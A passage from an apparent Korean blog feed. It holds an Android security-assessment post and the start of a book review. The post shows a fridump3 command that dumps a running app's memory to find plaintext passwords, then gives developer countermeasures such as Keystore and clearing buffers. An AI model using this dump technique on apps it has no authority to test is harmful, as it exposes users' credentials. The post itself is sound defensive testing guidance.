&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;PC(&lt;/span&gt;&lt;span&gt;예시&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;gt; &lt;i&gt;python fridump3.py -u -r 4340 -s&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRJ4pt/btsKWbQVXpD/wp5BkF9kzkH8g92aEKI5AK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRJ4pt/btsKWbQVXpD/wp5BkF9kzkH8g92aEKI5AK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRJ4pt/btsKWbQVXpD/wp5BkF9kzkH8g92aEKI5AK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRJ4pt%2FbtsKWbQVXpD%2Fwp5BkF9kzkH8g92aEKI5AK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;679&quot; height=&quot;425&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;br /&gt;⚠️ &lt;b&gt;fridump 실행 시 에러 발생(unable to find remote frida-server)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;파이썬으로 작성된 프리다 스크립트가 동작할 때 PC에 연결된 단말의 연결상태를 대기하지 않도록 설정되어 있어 발생하는 에러이다. 대기 시간(초)을 지정하는 방법으로 해결할 수 있다. 다운로드 받은 파일 중 &amp;lsquo;fridump3.py&amp;rsquo; 파일의 79번째 행의 코드를 다음과 같이 수정한다.&lt;br /&gt;&lt;br /&gt;수정 전&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;i&gt;session = frida.get_usb_device(&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;0&lt;/span&gt;&lt;/b&gt;).attach(APP_NAME)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;수정 후&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;i&gt;session = frida.get_usb_device(&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1&lt;/b&gt;&lt;/span&gt;).attach(APP_NAME)&lt;/i&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;403&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bp9Oy9/btsKWXqRshe/RiW69dMkDiBJU3FHEWrzsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bp9Oy9/btsKWXqRshe/RiW69dMkDiBJU3FHEWrzsk/img.png&quot; data-alt=&quot;프리덤프 실행 결과 파일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bp9Oy9/btsKWXqRshe/RiW69dMkDiBJU3FHEWrzsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbp9Oy9%2FbtsKWXqRshe%2FRiW69dMkDiBJU3FHEWrzsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;675&quot; height=&quot;300&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;403&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;프리덤프 실행 결과 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프리덤프를 실행한 위치에서 &lt;span&gt;dump &lt;/span&gt;폴더가 생성되고 앱의 메모리 주소에 해당하는 덤프가 파일로 생성된 것을 확인할 수 있다&lt;span&gt;. &lt;/span&gt;실행 시 &lt;span&gt;-s &lt;/span&gt;옵션을 지정하였기 때문에 문자열로 식별될 수 있는 메모리 값을 추출하여 단일 파일인 &lt;span&gt;strings.txt&lt;/span&gt;에서 확인할 수 있다&lt;span&gt;. &lt;/span&gt;다만 방대한 양의 데이터가 포함되어 있으므로&lt;span&gt;, &lt;/span&gt;앱에서 직접 입력한 민감정보나 단말의 화면에 보이는 데이터를 검색하여 전후 위치를 분석하는 방법으로 확인할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민감정보가 앱의 메모리 영역에 평문으로 저장되어 있는지 여부를 확인하기 위함이므로 앱에서 관련 기능&lt;span&gt;(&lt;/span&gt;로그인&lt;span&gt;, &lt;/span&gt;회원정보 수정 등&lt;span&gt;)&lt;/span&gt;을 &lt;span style=&quot;background-color: #f3c000;&quot;&gt;충분히 사용한 후에 메모리 덤프를 수행&lt;/span&gt;해야 함에 유의한다&lt;span&gt;. &lt;/span&gt;사용자 패스워드&lt;span&gt;, &lt;/span&gt;민감정보 등이 기능 사용 이후에도 초기화되지 않고 메모리에 남아 있는 경우 또는 암호화된 값이더라도 암&lt;span&gt;&amp;middot;&lt;/span&gt;복호화 과정에서 메모리에 평문으로 저장되는 경우 취약으로 판단한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span&gt;대응방안&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f89009;&quot;&gt;민감정보는 평문으로 처리하지 않는다. &lt;/span&gt;암호화를 적용하여 메모리 스냅샷 내 데이터를 분석하더라도 알아볼 수 없는 문자열로 처리한다&lt;span&gt;. &lt;/span&gt;암호화 시 메모리 내 데이터 평문 저장을 방지하기 위해 안드로이드에서 제공하는 암호화 모듈을 사용하거나&lt;span&gt;, &lt;/span&gt;안드로이드 키스토어&lt;span&gt;(android keystore)&lt;/span&gt;를 사용할 수 있다&lt;span&gt;. &lt;/span&gt;키스토어는 하드웨어 보안 모듈을 사용하여 암호화 키를 컨테이너에 저장하고 키 추출을 어렵게 하며&lt;span&gt;, &lt;/span&gt;암복호화되는 내용이 메모리에 평문으로 저장되지 않도록 한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민감정보를 할당하는 변수 선언 시 정적 변수 선언을 하지 않는다&lt;span&gt;. &lt;/span&gt;불필요한 데이터를 정적 변수 내에 저장하지 않도록 하고&lt;span&gt;, &lt;/span&gt;가능한 경우 인스턴스 변수를 사용하여 데이터를 관리한다&lt;span&gt;. NDK&lt;/span&gt;를 사용하는 경우 메모리 할당 함수에 대한 호출의 반환값을 저장하는 마지막 포인터의 수명이 끝나기 전에 해당 포인터 값을&lt;span&gt; free() &lt;/span&gt;함수를 이용해서 해당 포인터를 할당 해제해야 한다&lt;span&gt;. &lt;/span&gt;민감정보를 처리하는 클래스나 컴포넌트를 사용한 이후에 메모리의 재활용 발생 시 의도치 않게 공개될 수 있으므로 기능을 사용한 이후에는 메모리를 초기화하여 메모리 영역에 존재하는 데이터를 널&lt;span&gt;(null) &lt;/span&gt;값으로 설정하거나 무작위 값으로 덮어쓰기한 후 메모리 할당을 해제해야 한다&lt;span&gt;. 다음은 민감정보를 포함하는 변수를 사용하고 사용 후 초기화하는 예제이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1732626946724&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;char ch []=new char[10];
ch [0] = 'P';
ch [1] = 'a';
ch [2] = 's';
ch [3] = 's';
ch [4] = 'W';
ch [5] = 'd';
ch [6] = '!';

//사용 후 삭제
java.util.Arrays.fill(ch, (char)0x20);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브로드캐스트 리시버 등 기능은 필요 시에만 선언하고 사용한 이후에는 할당 해제하여 불필요하게 메모리를 사용하지 않는다&lt;span&gt;. &lt;/span&gt;액티비티 생명주기에 따라 일시정지 시점&lt;span&gt;(onPause) &lt;/span&gt;또는 제거 시점&lt;span&gt;(onDestroy) &lt;/span&gt;콜백 함수에 등록하여 구현할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 발견에 따른 대응방안을 안내할 때&lt;span&gt;, &lt;/span&gt;개발자의 조치방법에 대한 문의가 많이 발생하는 항목이다&lt;span&gt;. &lt;/span&gt;변수 선언 및 사용 후 할당 해제까지 완료했음에도 메모리 덤프 시 민감정보가 평문으로 노출되는 경우이다&lt;span&gt;. &lt;/span&gt;다양한 경우가 있지만 외부 라이브러리를 불러와서 사용하는 경우 변수가 메모리 내에 저장되어 사용 후에도 남아있는 경우가 있다&lt;span&gt;. &lt;/span&gt;민감정보를 처리하는 액티비티 전체 과정에서 메모리 사용 방법에 대한 보안대책 수립이 필요한 항목이므로&lt;span&gt;, &lt;/span&gt;메모리 사용에 대한 모니터링이 필요하다&lt;span&gt;. &lt;/span&gt;안드로이드 스튜디오에서는&lt;span&gt; '&lt;/span&gt;메모리 프로파일러&lt;span&gt;' &lt;/span&gt;도구를 제공한다&lt;span&gt;. &lt;/span&gt;개발 시 디버깅하는 과정에서 앱에서 시간 경과에 따라 메모리를 할당하는 과정&lt;span&gt;, &lt;/span&gt;자바 객체 등을 실시간으로 확인할 수 있다&lt;span&gt;. &lt;/span&gt;앱의 메모리 할당을 기록한 다음 할당된 객체를 모두 검사하고&lt;span&gt;, &lt;/span&gt;각 할당의 호출 기록을 확인하고 바로 소스코드로 이동할 수 있다&lt;span&gt;. &lt;/span&gt;이를 참조하여 보안대책을 적용한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;100%&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #4472c4;&quot;&gt;더 알아보기&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;메모리 프로파일러 도구의 상세 정보는 안드로이드 공식 문서에서 확인할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;a href=&quot;https://developer.android.com/studio/profile/memory-profiler?hl=ko&quot;&gt;https://developer.android.com/studio/profile/memory-profiler?hl=ko&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민감한 정보를 입력하는 입력 폼에서는&lt;span&gt; textNoSuggestions &lt;/span&gt;또는&lt;span&gt; textPassword&lt;/span&gt;와 같은 입력 유형을 사용하여 키보드 입력이 캐시 메모리에 저장되는 것을 방지한다&lt;span&gt;. 다음은 메모리에 저장되지 않는 안전한 입력 폼을 사용하는 예제이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1732626995768&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;
&amp;lt;LinearLayout
    xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;
    xmlns:app=&quot;http://schemas.android.com/apk/res-auto&quot;&amp;gt;
     &amp;lt;EditText
        android:id=&quot;@+id/KeyBoardCache&quot;
       &amp;lt;!-- 민감정보 입력 폼의 타입 변경 --&amp;gt;
        android:inputType=&quot;textNoSuggestions&quot; /&amp;gt;
      &amp;lt;EditText
        android:id=&quot;@+id/password_good&quot;
       &amp;lt;!-- 민감정보 입력 폼의 타입 변경 --&amp;gt;
        android:inputType=&quot;textPassword&quot;/&amp;gt;  
&amp;lt;/LinearLayout&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <category>모의해킹</category>
      <category>안드로이드 취약점 진단</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/287</guid>
      <comments>https://gomguk.tistory.com/287#entry287comment</comments>
      <pubDate>Tue, 26 Nov 2024 22:20:00 +0900</pubDate>
    </item>
    <item>
      <title>[책 리뷰] 대도시의 사랑법</title>
      <link>https://gomguk.tistory.com/286</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;1230&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/50vqa/btsKQJyIkAh/3SopRQ1aXR66qVoa2wV0Y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/50vqa/btsKQJyIkAh/3SopRQ1aXR66qVoa2wV0Y0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/50vqa/btsKQJyIkAh/3SopRQ1aXR66qVoa2wV0Y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F50vqa%2FbtsKQJyIkAh%2F3SopRQ1aXR66qVoa2wV0Y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;304&quot; height=&quot;447&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;1230&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;figure contenteditable=&quot;false&quot; data-ke-type=&quot;contentSearch&quot; data-ke-align=&quot;alignCenter&quot; data-cs-kind=&quot;book&quot; data-cs-data=&quot;{&amp;quot;title&amp;quot;:&amp;quot;대도시의 사랑법&amp;quot;,&amp;quot;image&amp;quot;:&amp;quot;http://t1.daumcdn.net/lbook/image/4982592?timestamp=20241120132317&amp;quot;,&amp;quot;url&amp;quot;:&amp;quot;https://search.daum.net/search?w=bookpage&amp;amp;bookId=4982592&amp;amp;tab=introduction&amp;amp;DA=YZR&amp;amp;q=%EB%8C%80%EB%8F%84%EC%8B%9C%EC%9D%98+%EC%82%AC%EB%9E%91%EB%B2%95&amp;quot;,&amp;quot;authors&amp;quot;:[&amp;quot;박상영&amp;quot;],&amp;quot;publicationDate&amp;quot;:&amp;quot;2019-06-28&amp;quot;,&amp;quot;publisher&amp;quot;:&amp;quot;창비&amp;quot;,&amp;quot;desc&amp;quot;:&amp;quot;2019년 젊은작가상 대상 수상 작가 박상영의 연작소설 『대도시의 사랑법』. 한국문학에서 이미 중요한 주제가 된 퀴어소설. 그중에서도 저자는 성에 있어 가볍게 보일 수 있는 면모를 오히려 작품의 매력으로 끌어올리는 한편 그 안에 녹록지 않은 사유를 담아냄으로써 단연 주목받는 젊은 작가로 단숨에 자리 잡았다. 소설집 《알려지지 않은 예술가의 눈물과 자이툰 파스타》로 평단과 독자의 사랑을 받은 저자의 이번 작품은 젊은작가상 대상 수상작 《우럭 한점 우주의 맛》을 비롯해 발표와 동시에 화제가 됐던 4편의 중단편을 모은 연작소설이자 두 번째 소설집이다. \n\n게이 남성인 주인공 &amp;lsquo;나&amp;rsquo;는 대학 동기인 여성, 재희와 동거한다. 서로의 비밀을 공유하면서 가깝게 지내다가 재희가 스토커 남자에게 위협받은 사건을 계기로 같이 살게 된 두 사람이 재희의 임신중절수술, 그리고 &amp;lsquo;나&amp;rsquo;의 연인의 죽음과 작가 등단 등 20대의 큰 사건들을 함께하며 벌어지는 이야기를 담은 《재희》, 말기 암 투병 중인 엄마를 간병하면서 지내다가 5년 전에 뜨겁게 사랑했던 형의 편지를 받고 다시 마음이 요동치며 과거를 떠올리는 &amp;lsquo;영&amp;rsquo;의 이야기를 담은 《우럭 한점 우주의 맛》 등 청춘의 사랑과 이별의 행로를 때로는 유머러스하고 경쾌하게 그려내고, 때로는 밀도 높게 성찰하는 아름다운 작품들을 만나볼 수 있다.&amp;quot;}&quot;&gt;&lt;a href=&quot;https://search.daum.net/search?w=bookpage&amp;amp;bookId=4982592&amp;amp;tab=introduction&amp;amp;DA=YZR&amp;amp;q=%EB%8C%80%EB%8F%84%EC%8B%9C%EC%9D%98+%EC%82%AC%EB%9E%91%EB%B2%95&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
&lt;div class=&quot;cs-image&quot; style=&quot;background-image: url('http://t1.daumcdn.net/lbook/image/4982592?timestamp=20241120132317');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;cs-info-wrap&quot;&gt;&lt;span class=&quot;cs-title&quot;&gt;대도시의 사랑법&lt;/span&gt;
&lt;div class=&quot;cs-desc&quot;&gt;2019년 젊은작가상 대상 수상 작가 박상영의 연작소설 『대도시의 사랑법』. 한국문학에서 이미 중요한 주제가 된 퀴어소설. 그중에서도 저자는 성에 있어 가볍게 보일 수 있는 면모를 오히려 작품의 매력으로 끌어올리는 한편 그 안에 녹록지 않은 사유를 담아냄으로써 단연 주목받는 젊은 작가로 단숨에 자리 잡았다. 소설집 《알려지지 않은 예술가의 눈물과 자이툰 파스타》로 평단과 독자의 사랑을 받은 저자의 이번 작품은 젊은작가상 대상 수상작 《우럭 한점 우주의 맛》을 비롯해 발표와 동시에 화제가 됐던 4편의 중단편을 모은 연작소설이자 두 번째 소설집이다. 게이 남성인 주인공 &amp;lsquo;나&amp;rsquo;는 대학 동기인 여성, 재희와 동거한다. 서로의 비밀을 공유하면서 가깝게 지내다가 재희가 스토커 남자에게 위협받은 사건을 계기로 같이 살게 된 두 사람이 재희의 임신중절수술, 그리고 &amp;lsquo;나&amp;rsquo;의 연인의 죽음과 작가 등단 등 20대의 큰 사건들을 함께하며 벌어지는 이야기를 담은 《재희》, 말기 암 투병 중인 엄마를 간병하면서 지내다가 5년 전에 뜨겁게 사랑했던 형의 편지를 받고 다시 마음이 요동치며 과거를 떠올리는 &amp;lsquo;영&amp;rsquo;의 이야기를 담은 《우럭 한점 우주의 맛》 등 청춘의 사랑과 이별의 행로를 때로는 유머러스하고 경쾌하게 그려내고, 때로는 밀도 높게 성찰하는 아름다운 작품들을 만나볼 수 있다.&lt;/div&gt;
&lt;div class=&quot;cs-props&quot;&gt;
&lt;dl class=&quot;cs-info&quot;&gt;
&lt;dt&gt;저자&lt;/dt&gt;
&lt;dd&gt;박상영&lt;/dd&gt;
&lt;/dl&gt;
&lt;dl class=&quot;cs-info&quot;&gt;
&lt;dt&gt;출판&lt;/dt&gt;
&lt;dd&gt;창비&lt;/dd&gt;
&lt;/dl&gt;
&lt;dl class=&quot;cs-info&quot;&gt;
&lt;dt&gt;출판일&lt;/dt&gt;
&lt;dd&gt;2019.06.28&lt;/dd&gt;
&lt;/dl&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;들어가며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot; data-slate-fragment=&quot;JTVCJTdCJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmNoaWxkcmVuJTIyJTNBJTVCJTdCJTIydGV4dCUyMiUzQSUyMiVFQiVCMCU5NSVFQyU4MyU4MSVFQyU5OCU4MSUyMCVFQyU5RSU5MSVFQSVCMCU4MCVFQyU5RCU5OCUyMCU1QyUyMiVFQiU4QyU4MCVFQiU4RiU4NCVFQyU4QiU5QyVFQyU5RCU5OCUyMCVFQyU4MiVBQyVFQiU5RSU5MSVFQiVCMiU5NSU1QyUyMiVFQyU5RCU4MCUyMCVFRCU5NSU5QyVFQSVCNSVBRCVFQyU5RCU5OCUyMCVFRCU5OCU4NCVFQiU4QyU4MCVFQyU4MiVBQyVFRCU5QSU4QyVFQyU5NyU5MCVFQyU4NCU5QyVFQyU5RCU5OCUyMCVFQyU4MyU4OCVFQiVBMSU5QyVFQyU5QSVCNCUyMCVFQiVBQSVBOSVFQyU4NiU4QyVFQiVBNiVBQyVFQiVBNSVCQyUyMCVFQiU4QiVCNCVFQyU5RCU4MCUyMCVFQyU5RSU5MSVFRCU5MiU4OCVFQyU5RCVCNCVFQiU4QiVBNC4lMjAlRUMlQTAlOUMlRUIlQUElQTklRUMlOUQlODAlMjAnJUVCJThDJTgwJUVCJThGJTg0JUVDJThCJTlDJyVFQyU5RCVCNCVFQyVBNyU4MCVFQiVBNyU4QyUyMCclRUMlODQlOUMlRUMlOUElQjgnJUVDJTlEJTg0JTIwJUVCJUIwJUIwJUVBJUIyJUJEJUVDJTlDJUJDJUVCJUExJTlDJTIwJUVEJTk1JTk4JUVBJUIzJUEwJTIwJUVDJTlFJTg4JUVCJThCJUE0LiUyMCVFQiU4QiVBNCVFQyU5NiU5MSVFRCU5NSU5QyUyMCVFQyU4MiVBQyVFQiU5RSU5MSVFQyU5RCU5OCUyMCVFRCU5OCU5NSVFRCU4MyU5QyVFQyU5OSU4MCUyMCVFQyU4MiVCNiVFQyU5RCU5OCUyMCVFQiVCMyVCNSVFQyU5RSVBMSVFQyU4NCVCMSVFQyU5RCU4NCUyMCVFQyU5RCVCNCVFQyU5NSVCQyVFQSVCOCVCMCVFRCU5NSU5OCVFQiU4QSU5NCVFQiU4RCVCMCUyMDQlRUElQjAlOUMlRUMlOUQlOTglMjAlRUIlOEIlQTglRUQlOEUlQjglMjAlRUMlODYlOEMlRUMlODQlQTQlRUIlQTElOUMlMjAlRUElQjUlQUMlRUMlODQlQjElRUIlOTAlOTglRUMlOTYlQjQlMjAlRUMlOUUlODglRUIlOEIlQTQuJTIyJTdEJTVEJTdEJTVE&quot;&gt;박상영 작가의 &quot;대도시의 사랑법&quot;은 한국의 현대사회에서의 새로운 목소리를 담은 작품이다. 제목은 '대도시'이지만 '서울'을 배경으로 하고 있다. 다양한 사랑의 형태와 삶의 복잡성을 이야기하는데 4개의 단편 소설로 구성되어 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot; data-slate-fragment=&quot;JTVCJTdCJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmNoaWxkcmVuJTIyJTNBJTVCJTdCJTIydGV4dCUyMiUzQSUyMjQlRUElQjAlOUMlRUMlOUQlOTglMjAlRUMlOUQlQjQlRUMlOTUlQkMlRUElQjglQjAlRUIlOEElOTQlMjAlNUMlMjIlRUMlOUUlQUMlRUQlOUQlQUMlNUMlMjIlMkMlMjAlNUMlMjIlRUMlOUElQjAlRUIlOUYlQUQlMjAlRUQlOTUlOUMlRUMlQTAlOTAlMjAlRUMlOUElQjAlRUMlQTMlQkMlRUMlOUQlOTglMjAlRUIlQTclOUIlNUMlMjIlMkMlMjAlNUMlMjIlRUIlOEMlODAlRUIlOEYlODQlRUMlOEIlOUMlRUMlOUQlOTglMjAlRUMlODIlQUMlRUIlOUUlOTElRUIlQjIlOTUlNUMlMjIlMkMlMjAlNUMlMjIlRUIlOEElQTYlRUMlOUQlODAlMjAlRUMlOUElQjAlRUElQjglQjAlRUMlOUQlOTglMjAlRUIlQjAlOTQlRUMlQkElODklRUMlOEElQTQlNUMlMjIlRUIlQTElOUMlMjAlRUElQjUlQUMlRUMlODQlQjElRUIlOTAlOTglRUMlOTYlQjQlMjAlRUMlOUUlODglRUIlOEIlQTQuJTIwJUVCJUFBJUE4JUVCJTkxJTkwJTIwJUVDJUE3JUE3JUVDJUE3JTgwJTIwJUVDJTk1JThBJUVDJTlEJTgwJTIwJUVBJUI4JUI4JUVDJTlEJUI0JUVDJUE3JTgwJUVCJUE3JThDJTIwJUVDJTg5JUJEJUVBJUIyJThDJTIwJUVDJTlEJUJEJUVEJTk4JTk0JUVCJThCJUE0LiUyMCVFQyU4OSVCRCVFQSVCMiU4QyUyMCVFQyU5RCVCRCVFRCU5OCU5NCVFQyVBNyU4MCVFQiVBNyU4QyUyMCVFQyVBMCU4NCVFRCU5NSU5OCVFQiU4QSU5NCUyMCVFQiVBOSU5NCVFQyU4QiU5QyVFQyVBNyU4MCVFQiU4QSU5NCUyMCVFQSVCMCU4MCVFQiVCMyU4RCVFQyVBNyU4MCUyMCVFQyU5NSU4QSVFQyU5NSU5OCVFQiU4QiVBNC4lMjAlRUElQjAlODElRUElQjAlODElRUMlOUQlOTglMjAlRUMlOUQlQjQlRUMlOTUlQkMlRUElQjglQjAlRUMlOUQlOTglMjAlRUQlODUlOUMlRUQlOEYlQUMlRUIlOEElOTQlMjAlRUIlQjklQTglRUIlOUUlOTAlRUElQjMlQTAlMjAlRUMlQTQlOTElRUElQjAlODQlRUMlQTQlOTElRUElQjAlODQlMjAlRUMlODQlOUUlRUMlOTclQUMlMjAlRUMlOUUlODglRUIlOEElOTQlMjAlRUIlQjglOTQlRUIlOUUlOTklMjAlRUMlOUMlQTAlRUIlQTglQjglRUElQjAlODAlMjAlRUMlQTclODAlRUIlQTMlQTglRUQlOTUlOTglRUMlQTclODAlMjAlRUMlOTUlOEElRUElQjIlOEMlMjAlMjAlRUQlOTUlQjQlRUMlQTMlQkMlRUMlOTclODglRUIlOEIlQTQuJTIwJUVBJUIwJTgxJTIwJUVDJTlEJUI0JUVDJTk1JUJDJUVBJUI4JUIwJUVDJTlEJTk4JTIwJUVDJUEzJUJDJUVDJTlEJUI4JUVBJUIzJUI1JUVCJTkzJUE0JUVDJTlEJTgwJTIwJUVBJUIwJTgwJUVDJTlFJUE1JTIwJUVEJTk4JTg0JUVDJThCJUE0JUVDJUEwJTgxJUVDJTlEJUI0JUVCJUE5JUI0JUVDJTg0JTlDJUVCJThGJTg0JTIwJUVDJTk2JUI0JUVCJUEwJUE0JUVDJTlBJUI0JTIwJUVDJTgyJUFDJUVCJTlFJTkxJUVDJTlEJTg0JTIwJUVEJTk1JTk4JUVBJUIzJUEwJTIwJUVDJTlFJTg4JUVCJThCJUE0LiUyMiU3RCU1RCU3RCU1RA==&quot;&gt;4개의 이야기는 &quot;재희&quot;, &quot;우럭 한점 우주의 맛&quot;, &quot;대도시의 사랑법&quot;, &quot;늦은 우기의 바캉스&quot;로 구성되어 있다. 모두 짧지 않은 길이지만 쉽게 읽혔다. 쉽게 읽혔지만 전하는 메시지는 가볍지 않았다. 각각의 이야기의 템포는 빨랐고 중간중간 섞여 있는 블랙 유머가 지루하지 않게 해주었다. 각 이야기의 주인공들은 가장 현실적이면서도 어려운 사랑을 하고 있다.&lt;/span&gt;&lt;/p&gt;
